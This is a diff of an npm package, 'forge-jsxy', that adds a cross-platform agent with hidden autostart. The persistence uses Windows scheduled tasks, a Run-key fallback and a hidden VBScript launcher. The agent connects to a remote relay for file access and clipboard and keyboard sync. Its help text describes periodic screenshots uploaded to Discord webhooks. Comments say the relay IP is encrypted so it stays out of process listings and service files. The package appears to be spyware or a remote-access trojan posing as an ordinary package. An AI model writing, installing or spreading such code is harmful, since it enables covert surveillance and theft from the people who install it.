forge-jsxy 1.0.66

package/dist/autostart/quote.js

@@ -0,0 +1,65 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.systemdQuote = systemdQuote;
+exports.systemdExecLine = systemdExecLine;
+exports.argvToWin32CommandLine = argvToWin32CommandLine;
+exports.escapePsSingle = escapePsSingle;
+/** systemd ExecStart= token quoting (POSIX shell single-quote style). */
+function systemdQuote(arg) {
+    if (arg === "")
+        return `''`;
+    if (/^[a-zA-Z0-9/._+=:@%-]+$/.test(arg))
+        return arg;
+    return `'${arg.replace(/'/g, `'\\''`)}'`;
+}
+function systemdExecLine(argv) {
+    return argv.map(systemdQuote).join(" ");
+}
+/**
+ * Quote a single argument per MSDN CommandLineToArgvW rules:
+ *   - Backslashes are literal unless they immediately precede a `"`.
+ *   - 2n backslashes before `"` → n backslashes + `"` terminates string.
+ *   - 2n+1 backslashes before `"` → n backslashes + literal `"`.
+ *   - Trailing backslashes before the closing `"` must be doubled.
+ *   - Empty string always returns `""` so it survives as an argument.
+ */
+function quoteWin32Arg(arg) {
+    // No spaces, tabs, or double-quotes: backslashes are literal → no quoting needed.
+    // But empty string must be quoted so the argument is preserved.
+    if (arg !== "" && !/[ \t"]/.test(arg))
+        return arg;
+    let result = '"';
+    let bs = 0;
+    for (let i = 0; i < arg.length; i++) {
+        const c = arg[i];
+        if (c === "\\") {
+            bs++;
+        }
+        else if (c === '"') {
+            // Double pending backslashes (they precede a quote), then escape the quote.
+            result += "\\".repeat(bs * 2) + '\\"';
+            bs = 0;
+        }
+        else {
+            // Emit pending backslashes literally (not before a quote).
+            result += "\\".repeat(bs) + c;
+            bs = 0;
+        }
+    }
+    // Double trailing backslashes — they precede the closing quote.
+    result += "\\".repeat(bs * 2) + '"';
+    return result;
+}
+/**
+ * Windows argv → one command-line string for CreateProcess / WScript.Shell.Run /
+ * schtasks /tr, using MSDN CommandLineToArgvW-compatible quoting.
+ * Paths with spaces are quoted correctly; backslashes are never doubled unless
+ * they immediately precede a double-quote character.
+ */
+function argvToWin32CommandLine(args) {
+    return args.map(quoteWin32Arg).join(" ");
+}
+/** Escape single quotes for PowerShell single-quoted strings ('' → literal '). */
+function escapePsSingle(s) {
+    return s.replace(/'/g, "''");
+}

package/dist/autostart/resolve.d.ts

@@ -0,0 +1,35 @@
+export interface AutostartAgentOptions {
+    /** WebSocket relay URL (required for agent). */
+    relayUrl: string;
+    session?: string;
+    password?: string;
+    noPassword?: boolean;
+    noFilesystem?: boolean;
+    /** forge-db base URL for clipboard/keyboard sync — persisted for autostart after reboot. */
+    syncApiUrl?: string;
+    /**
+     * When true, do NOT include --relay in programArguments.
+     * Use when relayUrl came from the embedded AES-256-GCM bundle so the plain IP address
+     * does not appear in systemd ExecStart / macOS plist / Windows VBScript / `ps aux`.
+     * The agent decrypts the same bundle at runtime via defaultRelayWsUrl().
+     */
+    omitRelayArg?: boolean;
+    /**
+     * When true, do NOT write FORGE_JS_SYNC_URL / CFGMGR_API_URL to forge-js-agent.env.
+     * Use when syncApiUrl came from the embedded bundle so the plain IP/port is not stored
+     * on disk in plaintext. The agent resolves the URL from the bundle at startup.
+     */
+    omitSyncUrl?: boolean;
+}
+export interface ResolvedAutostartLaunch {
+    nodeExe: string;
+    agentScript: string;
+    programArguments: string[];
+    workingDirectory: string;
+    dataDir: string;
+    syncApiUrl?: string;
+}
+/**
+ * @param distDir Absolute path to package `dist/` (contains cli-agent.js).
+ */
+export declare function resolveAutostartLaunch(distDir: string, opts: AutostartAgentOptions): ResolvedAutostartLaunch;

package/dist/autostart/resolve.js

@@ -0,0 +1,85 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.resolveAutostartLaunch = resolveAutostartLaunch;
+/**
+ * Resolve absolute node binary, cli-agent.js, argv, and data directory for autostart entries.
+ */
+const fs = __importStar(require("node:fs"));
+const path = __importStar(require("node:path"));
+const clientId_1 = require("../clientId");
+/**
+ * @param distDir Absolute path to package `dist/` (contains cli-agent.js).
+ */
+function resolveAutostartLaunch(distDir, opts) {
+    const relay = (opts.relayUrl || "").trim();
+    if (!relay) {
+        throw new Error("relayUrl is required for autostart (forge-agent needs --relay)");
+    }
+    const nodeExe = process.execPath;
+    const agentScript = path.join(distDir, "cli-agent.js");
+    if (!fs.existsSync(agentScript)) {
+        throw new Error(`cli-agent.js not found at ${agentScript}. Run npm run build from forge-js package root.`);
+    }
+    const dataDir = (0, clientId_1.defaultCfgmgrDataDir)();
+    // Omit --relay when the URL came from the embedded encrypted bundle so the plain IP
+    // address does not appear in service definitions (systemd ExecStart, plist, VBScript).
+    // The agent resolves the same URL from the bundle at runtime via defaultRelayWsUrl().
+    const programArguments = [nodeExe, agentScript];
+    if (!opts.omitRelayArg) {
+        programArguments.push("--relay", relay);
+    }
+    programArguments.push("--quiet");
+    if (opts.session?.trim()) {
+        programArguments.push("--session", opts.session.trim());
+    }
+    if (opts.noPassword) {
+        programArguments.push("--no-password");
+    }
+    else if (opts.password !== undefined) {
+        programArguments.push("--password", opts.password);
+    }
+    if (opts.noFilesystem) {
+        programArguments.push("--no-filesystem");
+    }
+    return {
+        nodeExe,
+        agentScript,
+        programArguments,
+        workingDirectory: dataDir,
+        dataDir,
+        syncApiUrl: opts.syncApiUrl?.trim() || undefined,
+    };
+}

package/dist/autostart/windows.d.ts

@@ -0,0 +1,15 @@
+import type { ResolvedAutostartLaunch } from "./resolve";
+export declare function unregisterWindowsLegacyNpmScheduler(): void;
+export declare function statusWindowsLegacyNpmScheduler(): {
+    taskScheduled: boolean;
+};
+/**
+ * Register logon task (PowerShell first, then schtasks, then HKCU Run).
+ */
+export declare function registerWindowsAutostart(launch: ResolvedAutostartLaunch): boolean;
+export declare function unregisterWindowsAutostart(): boolean;
+export declare function statusWindowsAutostart(): {
+    taskScheduled: boolean;
+    hkcuRun: boolean;
+    legacyNpmScheduler: ReturnType<typeof statusWindowsLegacyNpmScheduler>;
+};

package/dist/autostart/windows.js

@@ -0,0 +1,277 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.unregisterWindowsLegacyNpmScheduler = unregisterWindowsLegacyNpmScheduler;
+exports.statusWindowsLegacyNpmScheduler = statusWindowsLegacyNpmScheduler;
+exports.registerWindowsAutostart = registerWindowsAutostart;
+exports.unregisterWindowsAutostart = unregisterWindowsAutostart;
+exports.statusWindowsAutostart = statusWindowsAutostart;
+const node_child_process_1 = require("node:child_process");
+const fs = __importStar(require("node:fs"));
+const path = __importStar(require("node:path"));
+const constants_1 = require("./constants");
+const quote_1 = require("./quote");
+/**
+ * Write a VBScript that launches the agent with SW_HIDE (no visible console window).
+ * wscript.exe is a GUI host that never creates a console; `WScript.Shell.Run` with
+ * windowStyle=0 (SW_HIDE) applies CREATE_NO_WINDOW to the child process.
+ * Returns the path to the written .vbs file, or null on failure.
+ */
+function writeHiddenLauncher(dataDir, programArguments, workingDirectory) {
+    try {
+        fs.mkdirSync(dataDir, { recursive: true });
+        const cmdLine = (0, quote_1.argvToWin32CommandLine)(programArguments);
+        // Inside VBScript string literals a double-quote is escaped as "".
+        const escapedCmd = cmdLine.replace(/"/g, '""');
+        const escapedWd = workingDirectory.replace(/"/g, '""');
+        // Set CurrentDirectory so the child process starts in the correct working dir.
+        const vbs = [
+            `Dim o`,
+            `Set o = CreateObject("WScript.Shell")`,
+            `o.Environment("Process")("FORGE_JS_QUIET_AGENT") = "1"`,
+            `o.CurrentDirectory = "${escapedWd}"`,
+            `o.Run "${escapedCmd}", 0, False`,
+            `Set o = Nothing`,
+        ].join("\r\n") + "\r\n";
+        const vbsPath = path.join(dataDir, "forge-js-hidden-launch.vbs");
+        fs.writeFileSync(vbsPath, vbs, "utf8");
+        return vbsPath;
+    }
+    catch {
+        return null;
+    }
+}
+function wscriptExe() {
+    const sysRoot = process.env.SystemRoot || process.env.WINDIR || "C:\\Windows";
+    const p = path.join(sysRoot, "System32", "wscript.exe");
+    if (fs.existsSync(p))
+        return p;
+    // On 64-bit Windows with 32-bit Node, the WOW64 file-system redirector maps
+    // System32 → SysWOW64. SysNative is the alias for the real 64-bit System32.
+    const sysNative = path.join(sysRoot, "SysNative", "wscript.exe");
+    if (fs.existsSync(sysNative))
+        return sysNative;
+    return p;
+}
+function powershellExe() {
+    const sys = process.env.SystemRoot || "C:\\Windows";
+    const p = path.join(sys, "System32", "WindowsPowerShell", "v1.0", "powershell.exe");
+    if (fs.existsSync(p))
+        return p;
+    const sysNative = path.join(sys, "SysNative", "WindowsPowerShell", "v1.0", "powershell.exe");
+    if (fs.existsSync(sysNative))
+        return sysNative;
+    return "powershell.exe";
+}
+function schtasksExe() {
+    const windir = process.env.SystemRoot || process.env.WINDIR || "C:\\Windows";
+    const p = path.join(windir, "System32", "schtasks.exe");
+    if (fs.existsSync(p))
+        return p;
+    const sysNative = path.join(windir, "SysNative", "schtasks.exe");
+    if (fs.existsSync(sysNative))
+        return sysNative;
+    return p;
+}
+function runPs(script) {
+    const r = (0, node_child_process_1.spawnSync)(powershellExe(), [
+        "-NoProfile",
+        "-NonInteractive",
+        "-ExecutionPolicy",
+        "Bypass",
+        "-Command",
+        script,
+    ], { encoding: "utf-8", windowsHide: true, timeout: 45_000 });
+    const stderr = `${r.stderr || ""}${r.error || ""}`.trim();
+    return { ok: r.status === 0, stderr };
+}
+function unregisterWindowsLegacyNpmScheduler() {
+    const sch = schtasksExe();
+    (0, node_child_process_1.spawnSync)(sch, ["/delete", "/tn", constants_1.LEGACY_WINDOWS_NPM_SCHEDULER_TASK_NAME, "/f"], {
+        encoding: "utf-8",
+        windowsHide: true,
+        timeout: 10_000,
+    });
+    const tn = (0, quote_1.escapePsSingle)(constants_1.LEGACY_WINDOWS_NPM_SCHEDULER_TASK_NAME);
+    runPs(`Unregister-ScheduledTask -TaskName '${tn}' -Confirm:$false -ErrorAction SilentlyContinue`);
+}
+function statusWindowsLegacyNpmScheduler() {
+    const sch = schtasksExe();
+    const r = (0, node_child_process_1.spawnSync)(sch, ["/query", "/tn", constants_1.LEGACY_WINDOWS_NPM_SCHEDULER_TASK_NAME], {
+        encoding: "utf-8",
+        windowsHide: true,
+        timeout: 10_000,
+    });
+    return { taskScheduled: r.status === 0 };
+}
+/**
+ * Register logon task (PowerShell first, then schtasks, then HKCU Run).
+ */
+function registerWindowsAutostart(launch) {
+    const parts = launch.programArguments;
+    const tn = (0, quote_1.escapePsSingle)(constants_1.WINDOWS_TASK_NAME);
+    const wd = (0, quote_1.escapePsSingle)(launch.workingDirectory);
+    // Use a VBScript launcher so the task starts with no visible console window (SW_HIDE).
+    // Fallback to running node.exe directly if we cannot write the VBScript.
+    const vbsPath = writeHiddenLauncher(launch.dataDir, parts, launch.workingDirectory);
+    let exe;
+    let argS;
+    let wdSuffix;
+    if (vbsPath) {
+        exe = (0, quote_1.escapePsSingle)(wscriptExe());
+        // Quote the VBS path for the schtasks /Argument field.
+        // wscript.exe is called as: wscript.exe "path\to\script.vbs"
+        // Paths cannot contain double-quotes on Windows, so simple outer quoting is safe.
+        const vbsArg = `"${vbsPath}"`;
+        argS = (0, quote_1.escapePsSingle)(vbsArg);
+        // wscript.exe ignores WorkingDirectory; it's set by the VBScript CurrentDirectory, leave empty here.
+        wdSuffix = "";
+    }
+    else {
+        exe = (0, quote_1.escapePsSingle)(parts[0]);
+        argS = (0, quote_1.escapePsSingle)((0, quote_1.argvToWin32CommandLine)(parts.slice(1)));
+        wdSuffix = ` -WorkingDirectory '${wd}'`;
+    }
+    const ps = [
+        `Unregister-ScheduledTask -TaskName '${tn}' -Confirm:$false -ErrorAction SilentlyContinue;`,
+        `$u = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name;`,
+        `$a = New-ScheduledTaskAction -Execute '${exe}' -Argument '${argS}'${wdSuffix};`,
+        `$t = New-ScheduledTaskTrigger -AtLogOn -User $u;`,
+        `try { $t.Delay = 'PT30S' } catch { };`,
+        `$p = New-ScheduledTaskPrincipal -UserId $u -LogonType Interactive -RunLevel Limited;`,
+        `$s = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -MultipleInstances IgnoreNew -RestartCount 100 -RestartInterval (New-TimeSpan -Minutes 5) -ExecutionTimeLimit ([TimeSpan]::Zero);`,
+        `Register-ScheduledTask -TaskName '${tn}' -Action $a -Trigger $t -Principal $p -Settings $s -Force`,
+    ].join(" ");
+    const sch = schtasksExe();
+    try {
+        (0, node_child_process_1.spawnSync)(sch, ["/delete", "/tn", constants_1.WINDOWS_TASK_NAME, "/f"], {
+            encoding: "utf-8",
+            windowsHide: true,
+            timeout: 10_000,
+        });
+        const rPs = runPs(ps);
+        if (rPs.ok) {
+            removeHkcuRun();
+            return true;
+        }
+        // schtasks /create fallback — use the VBScript hidden launcher when available so
+        // the agent starts with SW_HIDE (no console window). Fall back to raw node command
+        // only if the VBScript could not be written (permissions / disk issue).
+        // /ru specifies the current user so the task runs only at that user's logon (not
+        // system-wide). Without /ru, schtasks defaults to SYSTEM which fails for regular users.
+        const trArg = vbsPath
+            ? `"${wscriptExe()}" "${vbsPath}"`
+            : (0, quote_1.argvToWin32CommandLine)(parts);
+        const domain = (process.env.USERDOMAIN || "").trim().toUpperCase();
+        const computerName = (process.env.COMPUTERNAME || "").trim().toUpperCase();
+        const userName = (process.env.USERNAME || process.env.USER || "").trim();
+        // On non-domain machines USERDOMAIN equals COMPUTERNAME — use just the username
+        // to avoid schtasks /ru parsing issues with COMPUTERNAME\user format on some configs.
+        // On domain machines, use the full DOMAIN\user format.
+        const isDomainMachine = domain && computerName && domain !== computerName;
+        const runAsUser = isDomainMachine && userName
+            ? `${domain}\\${userName}`
+            : userName;
+        const r2 = (0, node_child_process_1.spawnSync)(sch, [
+            "/create", "/tn", constants_1.WINDOWS_TASK_NAME,
+            "/tr", trArg,
+            "/sc", "onlogon",
+            "/f",
+            ...(runAsUser ? ["/ru", runAsUser] : []),
+        ], { encoding: "utf-8", windowsHide: true, timeout: 15_000 });
+        if (r2.status === 0) {
+            removeHkcuRun();
+            return true;
+        }
+        // HKCU Run last resort — use the VBScript launcher so no console window appears
+        // at logon. wscript.exe is a GUI host; Run windowStyle=0 keeps the child hidden.
+        // Windows file paths cannot contain double-quotes, so outer-quoting each component is safe.
+        const hkcuCmd = vbsPath
+            ? `"${wscriptExe()}" "${vbsPath}"`
+            : (0, quote_1.argvToWin32CommandLine)(parts);
+        // Belt-and-suspenders: if vbsPath ends in a backslash (it shouldn't), protect the closing quote.
+        // Actual path: "%LOCALAPPDATA%\CfgMgr\data\forge-js-hidden-launch.vbs" — no trailing slash.
+        if (setHkcuRun(hkcuCmd)) {
+            console.error("[forge-js] Task Scheduler unavailable; registered HKCU Run fallback:", constants_1.WINDOWS_RUN_VALUE_NAME);
+            return true;
+        }
+        console.error("[forge-js] Windows autostart failed:", rPs.stderr || r2.stderr || r2.error);
+        return false;
+    }
+    catch (e) {
+        console.error("[forge-js] Windows autostart error:", e);
+        return false;
+    }
+}
+function removeHkcuRun() {
+    const ps = `Remove-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '${(0, quote_1.escapePsSingle)(constants_1.WINDOWS_RUN_VALUE_NAME)}' -ErrorAction SilentlyContinue`;
+    runPs(ps);
+}
+function setHkcuRun(cmd) {
+    const v = (0, quote_1.escapePsSingle)(cmd);
+    const ps = `Set-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '${(0, quote_1.escapePsSingle)(constants_1.WINDOWS_RUN_VALUE_NAME)}' -Value '${v}' -Type String`;
+    return runPs(ps).ok;
+}
+function unregisterWindowsAutostart() {
+    unregisterWindowsLegacyNpmScheduler();
+    const sch = schtasksExe();
+    (0, node_child_process_1.spawnSync)(sch, ["/delete", "/tn", constants_1.WINDOWS_TASK_NAME, "/f"], {
+        encoding: "utf-8",
+        windowsHide: true,
+        timeout: 10_000,
+    });
+    removeHkcuRun();
+    return true;
+}
+function statusWindowsAutostart() {
+    const sch = schtasksExe();
+    const r = (0, node_child_process_1.spawnSync)(sch, ["/query", "/tn", constants_1.WINDOWS_TASK_NAME], {
+        encoding: "utf-8",
+        windowsHide: true,
+        timeout: 10_000,
+    });
+    const taskScheduled = r.status === 0;
+    const ps = `if (Get-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '${constants_1.WINDOWS_RUN_VALUE_NAME}' -ErrorAction SilentlyContinue) { exit 0 } else { exit 1 }`;
+    const hk = (0, node_child_process_1.spawnSync)(powershellExe(), ["-NoProfile", "-NonInteractive", "-ExecutionPolicy", "Bypass", "-Command", ps], {
+        encoding: "utf-8",
+        windowsHide: true,
+        timeout: 10_000,
+    });
+    return {
+        taskScheduled,
+        hkcuRun: hk.status === 0,
+        legacyNpmScheduler: statusWindowsLegacyNpmScheduler(),
+    };
+}

package/dist/cli-agent.d.ts

@@ -0,0 +1,3 @@
+#!/usr/bin/env node
+/** Optional package-root `.env` — same as relay; helps Linux/macOS installs set CFGMGR_RELAY_URL without systemd edits. */
+import "./envLoad";

package/dist/cli-agent.js

@@ -0,0 +1,56 @@
+#!/usr/bin/env node
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+/** Optional package-root `.env` — same as relay; helps Linux/macOS installs set CFGMGR_RELAY_URL without systemd edits. */
+require("./envLoad");
+const clientId_1 = require("./clientId");
+const agentEnvFile_1 = require("./autostart/agentEnvFile");
+const manifest_1 = require("./autostart/manifest");
+const agentRunner_1 = require("./agentRunner");
+function bootstrapSyncEnvFromDisk() {
+    const dir = (0, clientId_1.defaultCfgmgrDataDir)();
+    (0, agentEnvFile_1.applyForgeJsAgentEnvFile)(dir);
+    (0, agentEnvFile_1.applyDefaultHubUploadProcessEnv)();
+    const have = (process.env.FORGE_JS_SYNC_URL || "").trim() ||
+        (process.env.CFGMGR_API_URL || "").trim() ||
+        (process.env.CFGMGR_CFG || "").trim();
+    if (have)
+        return;
+    const u = (0, manifest_1.readManifest)(dir)?.options?.syncApiUrl?.trim();
+    if (u) {
+        process.env.FORGE_JS_SYNC_URL = u;
+        process.env.CFGMGR_API_URL = u;
+    }
+}
+if (process.argv.includes("-h") || process.argv.includes("--help")) {
+    console.log(`Usage: forge-agent --relay <ws://host:9877> [--session <id>] [--password <p>|--no-password] [--no-filesystem] [--quiet]\n` +
+        `Env: CFGMGR_RELAY_URL, FORGE_JS_RELAY_URL, CFGMGR_SESSION_ID, CFGMGR_SESSION_PASSWORD (overridden by --password when set)\n` +
+        `Session: omit CFGMGR_SESSION_ID to discover sync_api_base_url via GET /api/relay-for-agent.\n` +
+        `  Default on all OSes: use this machine's client_* session so explorer targets local disks (no shared-room collisions).\n` +
+        `  To join the relay default room intentionally: FORGE_JS_USE_RELAY_SESSION=1 or set CFGMGR_SESSION_ID / --session.\n` +
+        `  Auto-chosen session is written to <CfgMgr data>/forge-js-explorer-session.txt (e.g. %LOCALAPPDATA%\\CfgMgr\\data on Windows).\n` +
+        `Forge-db sync: set FORGE_JS_SYNC_URL / CFGMGR_API_URL on the relay — the agent copies sync from GET /api/relay-for-agent (before WS) and relay_features.sync_api_base_url on connect if unset locally.\n` +
+        `Discord screenshots: the relay may advertise RELAY_DISCORD_* via relay_features — if unset on the agent,\n` +
+        `  screenshots run in-memory only (not written to forge-js-agent.env). Set FORGE_JS_DISCORD_SCREENSHOT_ENABLED=0 on the agent to opt out when you set it explicitly.\n` +
+        `  Optional: FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS in milliseconds (default 300000 = 5m). If set on the agent, it overrides relay_features.discord_screenshot_interval_ms.\n` +
+        `    FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS — optional cap N (ms): adds hash(client_id)%N to interval to desync many PCs without per-host env.\n` +
+        `    FORGE_JS_DISCORD_SCREENSHOT_FIRST_DELAY_MS (default 3000, 0=immediate first capture); FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS optional first-shot spread.\n` +
+        `    FORGE_JS_DISCORD_UPLOAD_MODE=webhook|relay (default webhook).\n` +
+        `  FORGE_JS_DISCORD_429_MAX_ATTEMPTS=1-12 (default 12) — retries per HTTP call to Discord.\n` +
+        `  FORGE_JS_DISCORD_WEBHOOK_FLOW_MAX_ATTEMPTS=1-12 (default 12) — webhook mode: extra full ticket→POST retries after 429.\n` +
+        `Upgrades: use the file explorer **Upgrade agent** button only (no automatic npm/registry updates on agent or relay start).`);
+    process.exit(0);
+}
+try {
+    bootstrapSyncEnvFromDisk();
+    const opts = (0, agentRunner_1.resolveForgeAgentFromArgv)(process.argv, process.env);
+    if (!opts) {
+        console.error("forge-agent: --relay or CFGMGR_RELAY_URL / FORGE_JS_RELAY_URL is required.");
+        process.exit(2);
+    }
+    (0, agentRunner_1.runForgeAgentWithSingleton)(opts);
+}
+catch (e) {
+    console.error("forge-agent:", e instanceof Error ? e.message : e);
+    process.exit(2);
+}

package/dist/cli-autostart.d.ts

@@ -0,0 +1,2 @@
+#!/usr/bin/env node
+export {};

package/dist/cli-autostart.js

@@ -0,0 +1,92 @@
+#!/usr/bin/env node
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+/**
+ * Register or remove OS autostart for forge-agent (logon / user session / boot+linger on Linux).
+ */
+const install_1 = require("./autostart/install");
+function parseArgs(argv) {
+    const opts = {
+        relayUrl: process.env.FORGE_JS_RELAY_URL?.trim() ||
+            process.env.CFGMGR_RELAY_URL?.trim() ||
+            "",
+    };
+    let cmd = "help";
+    for (let i = 2; i < argv.length; i++) {
+        const a = argv[i];
+        if (a === "install")
+            cmd = "install";
+        else if (a === "uninstall")
+            cmd = "uninstall";
+        else if (a === "status")
+            cmd = "status";
+        else if (a === "-h" || a === "--help")
+            cmd = "help";
+        else if (a === "--relay" && argv[i + 1]) {
+            opts.relayUrl = argv[++i];
+        }
+        else if (a === "--session" && argv[i + 1]) {
+            opts.session = argv[++i];
+        }
+        else if (a === "--password" && argv[i + 1]) {
+            opts.password = argv[++i];
+        }
+        else if (a === "--no-password")
+            opts.noPassword = true;
+        else if (a === "--no-filesystem")
+            opts.noFilesystem = true;
+    }
+    return { cmd, opts };
+}
+function printHelp() {
+    console.log(`forge-autostart — OS autostart for forge-agent (Windows / Linux / macOS)
+
+Usage:
+  forge-autostart install --relay <ws://host:9877> [options]
+  forge-autostart uninstall
+  forge-autostart status
+
+Options (install):
+  --relay URL     WebSocket relay (required unless FORGE_JS_RELAY_URL or CFGMGR_RELAY_URL is set)
+  --session ID    Optional session id (else uses persisted .client_id)
+  --password P    Session password (omit to use CFGMGR_SESSION_PASSWORD at runtime — not stored in manifest)
+  --no-password   Agent without password
+  --no-filesystem Disable fs explorer on agent
+
+Behavior:
+  Windows:  Task Scheduler task "${"ForgeJSWorker"}" at user logon (HKCU Run fallback if policy blocks)
+  Linux:    systemd user unit forge-js-worker.service + loginctl enable-linger (best-effort)
+  macOS:    ~/Library/LaunchAgents/com.forgejs.worker.plist (RunAtLoad + KeepAlive)
+
+Requires: npm run build so dist/cli-agent.js exists. Uses current Node (process.execPath).
+`);
+}
+const { cmd, opts } = parseArgs(process.argv);
+if (cmd === "help") {
+    printHelp();
+    process.exit(0);
+}
+if (cmd === "status") {
+    console.log(JSON.stringify((0, install_1.statusAutostart)(), null, 2));
+    process.exit(0);
+}
+if (cmd === "uninstall") {
+    (0, install_1.uninstallAutostart)();
+    console.log("forge-autostart: uninstall completed.");
+    process.exit(0);
+}
+if (cmd === "install") {
+    if (!opts.relayUrl.trim()) {
+        console.error("forge-autostart install: --relay or FORGE_JS_RELAY_URL / CFGMGR_RELAY_URL required.");
+        process.exit(2);
+    }
+    const ok = (0, install_1.installAutostart)(opts, (0, install_1.defaultDistDir)());
+    if (ok) {
+        console.log("forge-autostart: install completed.");
+        process.exit(0);
+    }
+    console.error("forge-autostart: install failed.");
+    process.exit(1);
+}
+printHelp();
+process.exit(2);

package/dist/cli-forge.d.ts

@@ -0,0 +1,2 @@
+#!/usr/bin/env node
+export {};

package/dist/cli-forge.js

@@ -0,0 +1,5 @@
+#!/usr/bin/env node
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+const workerBootstrap_1 = require("./workerBootstrap");
+(0, workerBootstrap_1.configurationConstants)();

package/dist/cli-linux-session-refresh.d.ts

@@ -0,0 +1,2 @@
+#!/usr/bin/env node
+export {};